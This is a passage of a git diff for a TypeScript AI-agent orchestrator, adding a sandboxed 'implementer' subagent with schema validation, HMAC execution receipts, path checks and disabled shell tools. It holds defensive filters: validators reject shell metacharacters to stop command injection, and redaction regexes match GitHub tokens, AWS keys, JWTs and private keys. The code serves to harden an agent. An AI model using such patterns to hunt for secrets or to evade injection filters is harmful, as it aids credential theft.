diff --git a/.env.example b/.env.example index 770b35f..64c1932 100644 --- a/.env.example +++ b/.env.example @@ -1,26 +1,44 @@ +# Auth.js session secret; generate with `npx auth secret` or `openssl rand -base64 32`. AUTH_SECRET="replace-with-auth-secret" +# GitHub OAuth app credentials for SSO sign-in. AUTH_GITHUB_ID="replace-with-github-oauth-client-id" AUTH_GITHUB_SECRET="replace-with-github-oauth-client-secret" +# "true" skips GitHub SSO authorization entirely. Local development only. LOOPWORKS_AUTH_BYPASS="false" +# Comma-separated allowlists; a session needs a matching login or org membership. LOOPWORKS_ALLOWED_GITHUB_USERS="ncolesummers" LOOPWORKS_ALLOWED_GITHUB_ORGS="" +# Per-loop kill switches for webhook-triggered loop starts. LOOPWORKS_AGENT_READY_LOOP_ENABLED="true" LOOPWORKS_DEVELOPMENT_LOOP_ENABLED="true" LOOPWORKS_RESEARCH_LOOP_ENABLED="true" +# "fixtures" serves canned portal data (non-production only); empty uses the database. LOOPWORKS_PORTAL_DATA_MODE="" +# HMAC secret for signing test-run receipts passed between subagents and the orchestrator. LOOPWORKS_EVE_TEST_RECEIPT_SECRET="replace-with-test-receipt-secret" +# "true" makes these subagents replay recorded fixtures instead of calling the model. LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE="false" +LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE="false" +# Pino log level: trace|debug|info|warn|error|fatal. LOG_LEVEL="info" +# Default matches the local Postgres bootstrap; demo seeding refuses non-local databases. DATABASE_URL="postgres://loopworks:loopworks@127.0.0.1:5432/loopworks" +# Standard OTLP exporter config; leave OTEL_EXPORTER_OTLP_ENDPOINT empty to disable export. OTEL_EXPORTER_OTLP_PROTOCOL="http/protobuf" OTEL_EXPORTER_OTLP_ENDPOINT="" +# Auth headers for the traces/metrics backend, e.g. "Authorization=Bearer ". OTEL_EXPORTER_OTLP_TRACES_HEADERS="" OTEL_EXPORTER_OTLP_METRICS_HEADERS="" OTEL_SERVICE_NAME="loopworks" +# Extra key=value resource pairs, e.g. "deployment.environment=dev". OTEL_RESOURCE_ATTRIBUTES="" +# GitHub App used for webhook intake and PR automation. GITHUB_APP_ID="" +# App PEM key; escape newlines as \n when set on a single line. GITHUB_APP_PRIVATE_KEY="" +# Must match the webhook secret configured on the GitHub App. GITHUB_WEBHOOK_SECRET="dev-webhook-secret" +# Vercel API token and team for deployment visibility; leave empty to disable. VERCEL_ACCESS_TOKEN="" VERCEL_TEAM_ID="" VERCEL_TEAM_SLUG="" diff --git a/README.md b/README.md index 3f9da75..0056cfe 100644 --- a/README.md +++ b/README.md @@ -53,6 +53,7 @@ Copy `.env.example` to `.env.local` for local development. The fixture server on - `LOOPWORKS_PORTAL_DATA_MODE` - `LOOPWORKS_EVE_TEST_RECEIPT_SECRET` - `LOOPWORKS_EVE_TEST_WRITER_FIXTURE_MODE` +- `LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE` - `LOG_LEVEL` - `DATABASE_URL` - `OTEL_EXPORTER_OTLP_PROTOCOL` diff --git a/agent/implementation-agent.ts b/agent/implementation-agent.ts new file mode 100644 index 0000000..787cf29 --- /dev/null +++ b/agent/implementation-agent.ts @@ -0,0 +1,178 @@ +import { createHash } from "node:crypto"; + +import { z } from "zod"; + +import { canonicalJsonStringify } from "./lib/canonical-json"; + +export const implementationAgentModelLabel = "openai/gpt-5.6-terra-xhigh"; +export const implementationResultSchemaId = "loopworks.implementation_result.v1"; +export const maxImplementationPatchBytes = 512 * 1024; + +const sha256Schema = z.string().regex(/^[a-f0-9]{64}$/); +const identifierSchema = z.string().regex(/^[a-z0-9][a-z0-9-]*$/); + +export function computeImplementationDigest(value: unknown): string { + return createHash("sha256").update(canonicalJsonStringify(value)).digest("hex"); +} + +const forbiddenProductionSegments = new Set([ + ".git", + ".loopworks", + "node_modules", + "test", + "tests", + "eval", + "evals", + "fixture", + "fixtures", + "story", + "stories", + ".github", + ".circleci", +]); + +const forbiddenProductionFilePattern = + /^(?:package\.json|bun\.lockb?|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|AGENTS\.md|CLAUDE\.md|\.env(?:\..*)?)$/i; + +export function isAllowedProductionArtifactPath(path: string): boolean { + const normalized = path.trim().replaceAll("\\", "/"); + const segments = normalized.split("/"); + const filename = segments.at(-1) ?? ""; + return ( + normalized.length > 0 && + !normalized.startsWith("/") && + !/^[A-Za-z]:\//.test(normalized) && + !normalized.includes("//") && + !/[;&|`$<>\n\r\0]/.test(normalized) && + !segments.some((segment) => segment === "." || segment === "..") && + !segments.some((segment) => forbiddenProductionSegments.has(segment.toLowerCase())) && + !forbiddenProductionFilePattern.test(filename) && + !/\.(?:test|spec|stories)\.[^/]+$/i.test(filename) + ); +} + +function patchHeaderPaths(content: string): string[] { + const paths = new Set(); + for (const line of content.split(/\r?\n/)) { + const diffMatch = line.match(/^diff --git a\/(.+) b\/(.+)$/); + if (diffMatch) { + if (diffMatch[1]) paths.add(diffMatch[1]); + if (diffMatch[2]) paths.add(diffMatch[2]); + continue; + } + const headerMatch = line.match(/^(?:---|\+\+\+) (?:[ab]\/(.+)|\/dev\/null)$/); + if (headerMatch?.[1]) paths.add(headerMatch[1]); + } + return [...paths]; +} + +const outputReferenceSchema = z + .object({ + uri: z.string().min(1), + sha256: sha256Schema, + byteCount: z.number().int().nonnegative(), + redacted: z.literal(true), + }) + .strict(); + +const greenEvidenceSchema = z + .object({ + id: identifierSchema, + testId: identifierSchema, + acceptanceCriterionIds: z.array(identifierSchema).min(1), + command: z.string().min(1), + testPath: z.string().min(1), + outcome: z.literal("pass"), + exitCode: z.literal(0), + durationMs: z.number().int().nonnegative(), + executionReceipt: sha256Schema, + outputReference: outputReferenceSchema, + }) + .strict(); + +export const implementationResultSchema = z + .object({ + version: z.literal(1), + schemaId: z.literal(implementationResultSchemaId), + model: z.literal(implementationAgentModelLabel), + binding: z + .object({ + planId: z.string().min(1), + planSha256: sha256Schema, + testPlanSha256: sha256Schema, + testPatchSha256: sha256Schema, + fixturesSha256: sha256Schema, + repositoryFullName: z.string().min(1), + commitSha: z.string().regex(/^[a-f0-9]{40}$/), + }) + .strict(), + patch: z + .object({ + format: z.literal("unified-diff"), + content: z.string().min(1), + sha256: sha256Schema, + byteCount: z.number().int().positive().max(maxImplementationPatchBytes), + paths: z.array(z.string().refine(isAllowedProductionArtifactPath)).min(1), + }) + .strict(), + greenEvidence: z.array(greenEvidenceSchema).min(1), + validationEvidence: z + .object({ + command: z.literal("bun run validate"), + outcome: z.literal("pass"), + exitCode: z.literal(0), + durationMs: z.number().int().nonnegative(), + executionReceipt: sha256Schema, + outputReference: outputReferenceSchema, + }) + .strict(), + }) + .strict() + .superRefine((result, ctx) => { + for (const [label, values] of [ + ["evidence", result.greenEvidence.map(({ id }) => id)], + ["test", result.greenEvidence.map(({ testId }) => testId)], + ] as const) { + const duplicate = values.find((value, index) => values.indexOf(value) !== index); + if (duplicate) ctx.addIssue({ code: "custom", message: `Duplicate ${label} ${duplicate}.` }); + } + + const parsedPaths = patchHeaderPaths(result.patch.content); + const declaredPaths = new Set(result.patch.paths); + if (parsedPaths.length === 0) { + ctx.addIssue({ code: "custom", message: "Patch must contain parseable diff headers." }); + } + if ( + /^(?:rename|copy) (?:from|to) |^GIT binary patch$|^(?:new file mode|old mode|new mode) 120000$/m.test( + result.patch.content, + ) + ) { + ctx.addIssue({ code: "custom", message: "Patch contains a forbidden operation." }); + } + for (const path of parsedPaths) { + if (!declaredPaths.has(path) || !isAllowedProductionArtifactPath(path)) { + ctx.addIssue({ code: "custom", message: `Patch contains unsafe path ${path}.` }); + } + } + for (const path of declaredPaths) { + if (!parsedPaths.includes(path)) { + ctx.addIssue({ code: "custom", message: `Declared path ${path} is absent from patch.` }); + } + } + if (Buffer.byteLength(result.patch.content) !== result.patch.byteCount) { + ctx.addIssue({ code: "custom", message: "Patch byte count does not match content." }); + } + if (createHash("sha256").update(result.patch.content).digest("hex") !== result.patch.sha256) { + ctx.addIssue({ code: "custom", message: "Patch digest does not match content." }); + } + }); + +export type ImplementationResult = z.infer; + +export function createImplementationArtifactContractMetadata() { + return { + expectedImplementationResultSchemaId: implementationResultSchemaId, + implementationMetadataKind: "implementation_result_contract" as const, + implementationVersion: 1 as const, + }; +} diff --git a/agent/implementation-fixture.ts b/agent/implementation-fixture.ts new file mode 100644 index 0000000..fcfacf9 --- /dev/null +++ b/agent/implementation-fixture.ts @@ -0,0 +1,106 @@ +import { createHash } from "node:crypto"; + +import { createPlanningAgentSeedPlan } from "./planning-agent"; +import { + computeTestPlanDigest, + redTestEvidenceSchemaId, + testPlanSchemaId, +} from "./test-writing-agent"; + +const sha256 = (value: string) => createHash("sha256").update(value).digest("hex"); + +export function createImplementationFixtureHandoff() { + const plan = createPlanningAgentSeedPlan({ + body: [ + "## Acceptance Criteria", + "- The exact hashed test patch turns green with a scoped production patch.", + "- Test-writing fixtures and seed data are reused unchanged.", + "- Future model, prompt, and tool changes have eval coverage.", + ].join("\n"), + issueNumber: 48, + labels: ["area:agents"], + milestone: null, + repositoryFullName: "ncolesummers/loopworks", + repositoryRevision: { commitSha: "a".repeat(40), ref: "main" }, + title: "Implementation subagent for the development loop", + }); + const testPatch = [ + "diff --git a/tests/unit/agent/implementation-fixture.test.ts b/tests/unit/agent/implementation-fixture.test.ts", + "new file mode 100644", + "--- /dev/null", + "+++ b/tests/unit/agent/implementation-fixture.test.ts", + "@@ -0,0 +1 @@", + "+expect(implementationReady).toBe(true);", + ].join("\n"); + const testPlan = { + version: 1 as const, + schemaId: testPlanSchemaId, + plan: { + id: plan.identity.id, + sha256: plan.identity.sha256, + repositoryFullName: plan.issue.repositoryFullName, + commitSha: plan.repositoryRevision?.commitSha ?? "a".repeat(40), + }, + acceptanceCriteria: plan.issue.acceptanceCriteria.map((text, index) => ({ + id: `ac-${index + 1}`, + text, + })), + tests: [ + { + id: "test-implementation-green", + acceptanceCriterionIds: ["ac-1", "ac-2", "ac-3"], + type: "unit" as const, + path: "tests/unit/agent/implementation-fixture.test.ts", + command: "bun run test -- tests/unit/agent/implementation-fixture.test.ts", + steps: ["Run the exact focused implementation fixture."], + expectedFailure: { + kind: "assertion" as const, + message: "expected false to be true", + }, + fixtureIds: ["approved-plan"], + }, + ], + fixtures: [ + { + id: "approved-plan", + kind: "fixture" as const, + description: "Approved-plan fixture authored by the test-writing stage.", + data: { approved: true }, + }, + ], + patch: { + format: "unified-diff" as const, + content: testPatch, + sha256: sha256(testPatch), + byteCount: Buffer.byteLength(testPatch), + paths: ["tests/unit/agent/implementation-fixture.test.ts"], + }, + }; + const redEvidence = { + version: 1 as const, + schemaId: redTestEvidenceSchemaId, + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(testPlan), + results: [ + { + id: "red-implementation-green", + testId: "test-implementation-green", + acceptanceCriterionIds: ["ac-1", "ac-2", "ac-3"], + command: "bun run test -- tests/unit/agent/implementation-fixture.test.ts", + outcome: "expected_failure" as const, + exitCode: 1, + durationMs: 10, + expectedAssertion: "expected false to be true", + executionReceipt: "b".repeat(64), + outputReference: { + uri: "artifact://fixture/red.log", + sha256: "c".repeat(64), + byteCount: 10, + redacted: true as const, + }, + }, + ], + }; + return { plan, redEvidence, testPlan }; +} diff --git a/agent/instructions.md b/agent/instructions.md index f5ce6a7..eb8a9cb 100644 --- a/agent/instructions.md +++ b/agent/instructions.md @@ -4,12 +4,13 @@ You are Loopworks' neutral stage orchestrator. Read durable run state and delegate exactly one stage to the matching declared subagent. Planning belongs to `planner`; approved test writing belongs to -`test-writer`. Stage subagents have isolated sandboxes and communicate only with -typed artifacts. +`test-writer`; development belongs to `implementer`. Stage subagents have +isolated sandboxes and communicate only with typed artifacts. Always begin with `read_run_stage_context`. After planner delegation, call `record_plan_artifact`; after test-writer delegation, call -`apply_test_writing_result`. A subagent response alone never changes durable +`apply_test_writing_result`; after implementer delegation, call +`apply_implementation_result`. A subagent response alone never changes durable state. Never infer approval from a prompt. Test writing requires a persisted diff --git a/agent/lib/fixture-mode.ts b/agent/lib/fixture-mode.ts index 2d01f08..b9066be 100644 --- a/agent/lib/fixture-mode.ts +++ b/agent/lib/fixture-mode.ts @@ -1,5 +1,22 @@ import { isProductionRuntime, isTruthyEnvValue } from "@/lib/runtime"; +export type StageFixtureMode = + | { enabled: true; reason: "explicit_non_production_fixture" } + | { enabled: false; reason: "not_requested" | "production_runtime_blocked" }; + +export function resolveStageFixtureMode( + envVarName: string, + env: Partial = process.env, +): StageFixtureMode { + if (!isTruthyEnvValue(env[envVarName])) { + return { enabled: false, reason: "not_requested" }; + } + if (isProductionRuntime(env)) { + return { enabled: false, reason: "production_runtime_blocked" }; + } + return { enabled: true, reason: "explicit_non_production_fixture" }; +} + export type PlanningAgentFixtureMode = | { enabled: true; @@ -14,23 +31,6 @@ export type PlanningAgentFixtureMode = export function resolvePlanningAgentFixtureMode( env: Partial = process.env, ): PlanningAgentFixtureMode { - if (!isTruthyEnvValue(env.LOOPWORKS_EVE_FIXTURE_MODE)) { - return { - enabled: false, - reason: "not_requested", - }; - } - - if (isProductionRuntime(env)) { - return { - enabled: false, - reason: "production_runtime_blocked", - }; - } - - return { - enabled: true, - label: "fixture", - reason: "explicit_non_production_fixture", - }; + const mode = resolveStageFixtureMode("LOOPWORKS_EVE_FIXTURE_MODE", env); + return mode.enabled ? { ...mode, label: "fixture" } : mode; } diff --git a/agent/lib/receipts.ts b/agent/lib/receipts.ts new file mode 100644 index 0000000..22dc131 --- /dev/null +++ b/agent/lib/receipts.ts @@ -0,0 +1,14 @@ +import { createHmac, timingSafeEqual } from "node:crypto"; + +import { canonicalJsonStringify } from "./canonical-json"; + +export function createExecutionReceipt(payload: unknown, secret: string): string { + if (!secret.trim()) throw new Error("Execution receipt secret is required."); + return createHmac("sha256", secret).update(canonicalJsonStringify(payload)).digest("hex"); +} + +export function verifyExecutionReceipt(payload: unknown, receipt: string, secret: string): boolean { + const expected = Buffer.from(createExecutionReceipt(payload, secret), "hex"); + const actual = Buffer.from(receipt, "hex"); + return actual.length === expected.length && timingSafeEqual(actual, expected); +} diff --git a/agent/lib/redaction.ts b/agent/lib/redaction.ts new file mode 100644 index 0000000..c593a4c --- /dev/null +++ b/agent/lib/redaction.ts @@ -0,0 +1,19 @@ +// Shared secret redaction for persisted subagent evidence. Every stage must +// use this one implementation so a new token pattern lands everywhere at once. +export function redactSecrets(value: string): string { + return value + .replace(/(authorization:\s*bearer\s+)\S+/gi, "$1[REDACTED]") + .replace(/\b(?:gh[pousr]_|sk-)[A-Za-z0-9_-]+\b/g, "[REDACTED]") + .replace(/\bgithub_pat_[A-Za-z0-9_]+\b/g, "[REDACTED]") + .replace(/\bAKIA[0-9A-Z]{16}\b/g, "[REDACTED]") + .replace(/\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b/g, "[REDACTED]") + .replace( + /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----[\s\S]*?-----END (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/g, + "[REDACTED PRIVATE KEY]", + ) + .replace( + /((?:password|secret|token|api[_-]?key|cookie|set-cookie)\s*[=:]\s*)\S+/gi, + "$1[REDACTED]", + ) + .replace(/([a-z][a-z0-9+.-]*:\/\/[^\s:/]+:)[^@\s]+@/gi, "$1[REDACTED]@"); +} diff --git a/agent/subagents/implementer/agent.ts b/agent/subagents/implementer/agent.ts new file mode 100644 index 0000000..c6f16ff --- /dev/null +++ b/agent/subagents/implementer/agent.ts @@ -0,0 +1,13 @@ +import { defineAgent } from "eve"; + +import { implementationResultSchema } from "../../implementation-agent"; + +export default defineAgent({ + description: "Implement the smallest production change that turns an approved test plan green.", + model: "openai/gpt-5.6-terra", + modelContextWindowTokens: 400_000, + modelOptions: { + providerOptions: { openai: { reasoningEffort: "xhigh" } }, + }, + outputSchema: implementationResultSchema, +}); diff --git a/agent/subagents/implementer/instructions.md b/agent/subagents/implementer/instructions.md new file mode 100644 index 0000000..6e66bbc --- /dev/null +++ b/agent/subagents/implementer/instructions.md @@ -0,0 +1,16 @@ +# Loopworks Implementer Subagent + +Accept only the durable implementation context supplied by the stage +orchestrator. Apply the exact persisted test patch, reuse its fixtures, make the +smallest production-only change, and prove every planned test plus +`bun run validate` passes. + +Begin with `read_implementation_context`, then call `apply_exact_test_patch`. +Inspect only necessary repository files, write production files once, run each +exact planned test through `run_green_test_suite`, and finish with +`run_aggregate_validation`. Emit only the exact patch and receipts returned by +those tools through `emit_implementation_result`. + +Do not alter tests, fixtures, evals, stories, branches, GitHub, durable workflow +state, dependencies, or lockfiles. Do not delegate or log raw plans, source, +patches, fixtures, or command output. diff --git a/agent/subagents/implementer/lib/context.ts b/agent/subagents/implementer/lib/context.ts new file mode 100644 index 0000000..e2f10ee --- /dev/null +++ b/agent/subagents/implementer/lib/context.ts @@ -0,0 +1,87 @@ +import { and, eq } from "drizzle-orm"; + +import { db } from "@/db/client"; +import { agentPlans, approvals, artifacts, loopRuns, runSteps } from "@/db/schema"; +import { createImplementationFixtureHandoff } from "../../../implementation-fixture"; +import { computePlanningArtifactDigest, planningAgentOutputSchema } from "../../../planning-agent"; +import { + computeTestPlanDigest, + redTestEvidenceSchema, + testPlanArtifactSchema, + testWriterModelLabel, + testWritingAgentOutputSchema, +} from "../../../test-writing-agent"; +import { resolveImplementerFixtureMode } from "./fixture-mode"; + +export async function loadImplementationHandoff(runId: string) { + if (resolveImplementerFixtureMode().enabled) return createImplementationFixtureHandoff(); + + const [run] = await db.select().from(loopRuns).where(eq(loopRuns.id, runId)); + if (run?.currentStage !== "development") { + throw new Error("Run is not available for implementation."); + } + const [planRows, planApprovals, steps] = await Promise.all([ + db.select().from(agentPlans).where(eq(agentPlans.runId, runId)), + db + .select() + .from(approvals) + .where(and(eq(approvals.runId, runId), eq(approvals.scope, "plan-review"))), + db.select().from(runSteps).where(eq(runSteps.runId, runId)), + ]); + if (planRows.length !== 1 || planApprovals.length !== 1) { + throw new Error("Implementation requires exactly one plan and plan review."); + } + const planRow = planRows[0]; + const approval = planApprovals[0]; + const plan = planningAgentOutputSchema.parse(planRow?.plan); + if ( + planRow?.status !== "approved" || + approval?.status !== "approved" || + approval.metadata?.planId !== planRow.id || + approval.metadata?.planSha256 !== plan.identity.sha256 || + !plan.repositoryRevision || + computePlanningArtifactDigest(plan) !== plan.identity.sha256 + ) { + throw new Error("Implementation requires an exact approved pinned plan."); + } + const testStep = steps.find(({ stage }) => stage === "test-writing"); + const developmentStep = steps.find(({ stage }) => stage === "development"); + if (testStep?.status !== "succeeded" || !developmentStep) { + throw new Error("Implementation requires a completed test-writing handoff."); + } + const rows = await db + .select() + .from(artifacts) + .where(and(eq(artifacts.runId, runId), eq(artifacts.stepId, testStep.id))); + // Verification must stay at parity with applyDevelopmentLoopImplementationResult: + // anything the root rejects, the subagent must reject before burning the stage. + const testPlanRows = rows.filter(({ type }) => type === "test_plan"); + const redRows = rows.filter(({ type }) => type === "validation_report"); + if (testPlanRows.length !== 1 || redRows.length !== 1) { + throw new Error("Implementation requires exactly one test plan and red-evidence artifact."); + } + const testPlanRow = testPlanRows[0]; + const redRow = redRows[0]; + const testPlan = testPlanArtifactSchema.parse(testPlanRow?.metadata?.testPlan); + const redEvidence = redTestEvidenceSchema.parse(redRow?.metadata?.redTestEvidence); + const compositeHandoff = testWritingAgentOutputSchema.safeParse({ + model: testWriterModelLabel, + testPlan, + redEvidence, + }); + if ( + !compositeHandoff.success || + testPlanRow?.sha256 !== computeTestPlanDigest(testPlan) || + redRow?.sha256 !== computeTestPlanDigest(redEvidence) || + redEvidence.testPlanSha256 !== computeTestPlanDigest(testPlan) || + redEvidence.planId !== plan.identity.id || + redEvidence.planSha256 !== plan.identity.sha256 || + testPlan.plan.id !== plan.identity.id || + testPlan.plan.sha256 !== plan.identity.sha256 || + testPlan.plan.repositoryFullName !== plan.issue.repositoryFullName || + testPlan.plan.commitSha !== plan.repositoryRevision.commitSha + ) { + throw new Error("Implementation handoff artifacts are stale or mismatched."); + } + return { plan, redEvidence, testPlan }; +} diff --git a/agent/subagents/implementer/lib/fixture-mode.ts b/agent/subagents/implementer/lib/fixture-mode.ts new file mode 100644 index 0000000..6e60f29 --- /dev/null +++ b/agent/subagents/implementer/lib/fixture-mode.ts @@ -0,0 +1,9 @@ +import { resolveStageFixtureMode, type StageFixtureMode } from "../../../lib/fixture-mode"; + +export type ImplementerFixtureMode = StageFixtureMode; + +export function resolveImplementerFixtureMode( + env: Partial = process.env, +): ImplementerFixtureMode { + return resolveStageFixtureMode("LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE", env); +} diff --git a/agent/subagents/implementer/lib/tool-policy.ts b/agent/subagents/implementer/lib/tool-policy.ts new file mode 100644 index 0000000..4a2b9ec --- /dev/null +++ b/agent/subagents/implementer/lib/tool-policy.ts @@ -0,0 +1,123 @@ +import { createHash } from "node:crypto"; + +import { createExecutionReceipt, verifyExecutionReceipt } from "../../../lib/receipts"; +import { redactSecrets } from "../../../lib/redaction"; +import { isAllowedProductionArtifactPath } from "../../../implementation-agent"; + +export type ImplementationExecutionReceiptPayload = { + kind: "focused" | "aggregate"; + command: string; + exitCode: number; + outcome: "pass" | "invalid"; + outputSha256: string; + planSha256: string; + testPlanSha256: string; + testPatchSha256: string; + productionPatchSha256: string; + testPaths: string[]; +}; + +export function assertAllowedProductionFiles(files: readonly { path: string }[]): void { + if (files.length === 0) throw new Error("At least one production file is required."); + for (const file of files) { + if (!isAllowedProductionArtifactPath(file.path)) { + throw new Error(`Unsafe production artifact path: ${file.path}`); + } + } +} + +export function assertProductionWriteNotClaimed(existingClaim: string | null): void { + if (existingClaim !== null) { + throw new Error("Production files may be written only once per implementation session."); + } +} + +export function assertWellFormedRepositoryFullName(repositoryFullName: string): void { + if (!/^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/.test(repositoryFullName)) { + throw new Error("Repository name must be a well-formed owner/name pair."); + } +} + +// `git diff --name-only` never lists untracked files, so freshly added files +// (the common shape of a test patch) would be invisible to path verification. +// --untracked-files=all keeps new directories from collapsing to "?? dir/". +export const sandboxWorkingTreeStatusCommand = + "cd repo && git status --porcelain --untracked-files=all"; + +export function parseWorkingTreePaths(stdout: string): string[] { + return stdout + .split(/\r?\n/) + .filter(Boolean) + .map((line) => line.slice(3)) + .map((path) => { + if (!path.startsWith('"') || !path.endsWith('"')) return path; + try { + // Porcelain C-quotes paths with spaces; JSON unquoting covers those. + // Paths it cannot decode stay quoted and fail closed at comparison. + return JSON.parse(path) as string; + } catch { + return path; + } + }) + .sort(); +} + +export function assertExactFocusedCommand( + command: string, + plannedCommand: string, + testPath: string, +): void { + const normalize = (value: string) => value.trim().replace(/\s+/g, " "); + if ( + /[;&|`$<>\n\r]/.test(command) || + normalize(command) !== normalize(plannedCommand) || + !normalize(command).endsWith(` ${testPath}`) + ) { + throw new Error("Command must exactly match one planned focused test."); + } +} + +// Broad substrings like "timeout" or "killed" appear in legitimate test titles +// and misclassify green runs; a zero exit code already rules out crashes, so we +// require positive pass evidence and scan only for runner-level infra errors. +export function classifyGreenRun(input: { + exitCode: number; + output: string; + testPath: string; +}): "pass" | "invalid" { + const invalidOutput = + /(no tests? found|no test files found|cannot find module|module not found|failed to load|command not found)/i.test( + input.output, + ); + const passEvidence = /\b[1-9]\d*\s+pass(?:ed|ing)?\b|\bPASS\b/.test(input.output); + return input.exitCode === 0 && + input.output.includes(input.testPath) && + passEvidence && + !invalidOutput + ? "pass" + : "invalid"; +} + +export function redactImplementationOutput(value: string): string { + return redactSecrets(value); +} + +export function createImplementationExecutionReceipt( + payload: ImplementationExecutionReceiptPayload, + secret: string, +): string { + if (!secret.trim()) throw new Error("Implementation receipt secret is required."); + return createExecutionReceipt(payload, secret); +} + +export function verifyImplementationExecutionReceipt( + payload: ImplementationExecutionReceiptPayload, + receipt: string, + secret: string, +): boolean { + return verifyExecutionReceipt(payload, receipt, secret); +} + +export function sha256(value: string): string { + return createHash("sha256").update(value).digest("hex"); +} diff --git a/agent/subagents/implementer/sandbox.ts b/agent/subagents/implementer/sandbox.ts new file mode 100644 index 0000000..aff29f8 --- /dev/null +++ b/agent/subagents/implementer/sandbox.ts @@ -0,0 +1,11 @@ +import { defaultBackend, defineSandbox } from "eve/sandbox"; + +export default defineSandbox({ + backend: defaultBackend({ + docker: { networkPolicy: "deny-all" }, + microsandbox: { networkPolicy: "deny-all" }, + vercel: { networkPolicy: "deny-all" }, + }), + description: + "Isolated implementation sandbox with a commit-pinned checkout and deny-all runtime egress.", +}); diff --git a/agent/subagents/implementer/tools/apply_exact_test_patch.ts b/agent/subagents/implementer/tools/apply_exact_test_patch.ts new file mode 100644 index 0000000..8e31a72 --- /dev/null +++ b/agent/subagents/implementer/tools/apply_exact_test_patch.ts @@ -0,0 +1,69 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { loadImplementationHandoff } from "../lib/context"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { parseWorkingTreePaths, sandboxWorkingTreeStatusCommand } from "../lib/tool-policy"; + +export default defineTool({ + description: "Apply only the exact persisted, digest-bound test patch to the pinned checkout.", + inputSchema: z.object({ + runId: z.string().uuid(), + testPlanSha256: z.string().regex(/^[a-f0-9]{64}$/), + testPatchSha256: z.string().regex(/^[a-f0-9]{64}$/), + }), + async execute(input, ctx) { + const span = startLoopworksSpan("loopworks.implementation.test_patch.apply", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + try { + const handoff = await loadImplementationHandoff(input.runId); + if ( + computeTestPlanDigest(handoff.testPlan) !== input.testPlanSha256 || + handoff.testPlan.patch.sha256 !== input.testPatchSha256 + ) { + throw new Error("Requested test patch does not match the durable handoff."); + } + const sandbox = await ctx.getSandbox(); + await sandbox.writeTextFile({ + path: ".loopworks/exact-test.patch", + content: handoff.testPlan.patch.content, + }); + if (!resolveImplementerFixtureMode().enabled) { + const applied = await sandbox.run({ + command: + "cd repo && git apply --check ../.loopworks/exact-test.patch && git apply ../.loopworks/exact-test.patch", + abortSignal: AbortSignal.timeout(15_000), + }); + if (applied.exitCode !== 0) throw new Error("Exact test patch could not be applied."); + const changed = await sandbox.run({ + command: sandboxWorkingTreeStatusCommand, + abortSignal: AbortSignal.timeout(5_000), + }); + const paths = parseWorkingTreePaths(changed.stdout); + const expected = [...handoff.testPlan.patch.paths].sort(); + if (JSON.stringify(paths) !== JSON.stringify(expected)) { + throw new Error("Applied test patch changed undeclared paths."); + } + } + await sandbox.writeTextFile({ + path: ".loopworks/test-patch-applied", + content: JSON.stringify({ + paths: handoff.testPlan.patch.paths, + sha256: input.testPatchSha256, + }), + }); + span.setStatus({ code: SpanStatusCode.OK }); + return { applied: true, paths: handoff.testPlan.patch.paths, sha256: input.testPatchSha256 }; + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); + } + }, +}); diff --git a/agent/subagents/implementer/tools/ask_question.ts b/agent/subagents/implementer/tools/ask_question.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/ask_question.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/bash.ts b/agent/subagents/implementer/tools/bash.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/bash.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/emit_implementation_result.ts b/agent/subagents/implementer/tools/emit_implementation_result.ts new file mode 100644 index 0000000..08a490e --- /dev/null +++ b/agent/subagents/implementer/tools/emit_implementation_result.ts @@ -0,0 +1,10 @@ +import { defineTool } from "eve/tools"; + +import { implementationResultSchema } from "../../../implementation-agent"; + +export default defineTool({ + description: "Emit the final validated implementation patch and green evidence.", + inputSchema: implementationResultSchema, + outputSchema: implementationResultSchema, + execute: (input) => implementationResultSchema.parse(input), +}); diff --git a/agent/subagents/implementer/tools/glob.ts b/agent/subagents/implementer/tools/glob.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/glob.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/grep.ts b/agent/subagents/implementer/tools/grep.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/grep.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/list_repository_files.ts b/agent/subagents/implementer/tools/list_repository_files.ts new file mode 100644 index 0000000..86f4c3f --- /dev/null +++ b/agent/subagents/implementer/tools/list_repository_files.ts @@ -0,0 +1,34 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; +import { assertSafeRepositoryGlob } from "../../../lib/repository-inspection"; +import { + listRepositoryFiles, + repositoryListOutputSchema, +} from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; + +const glob = z.string().refine((value) => { + try { + assertSafeRepositoryGlob(value); + return true; + } catch { + return false; + } +}, "Unsafe repository glob."); + +export default defineTool({ + description: "List bounded regular-file paths from the approved pinned Git commit.", + inputSchema: z.object({ patterns: z.array(glob).min(1).max(5) }), + outputSchema: repositoryListOutputSchema, + async execute({ 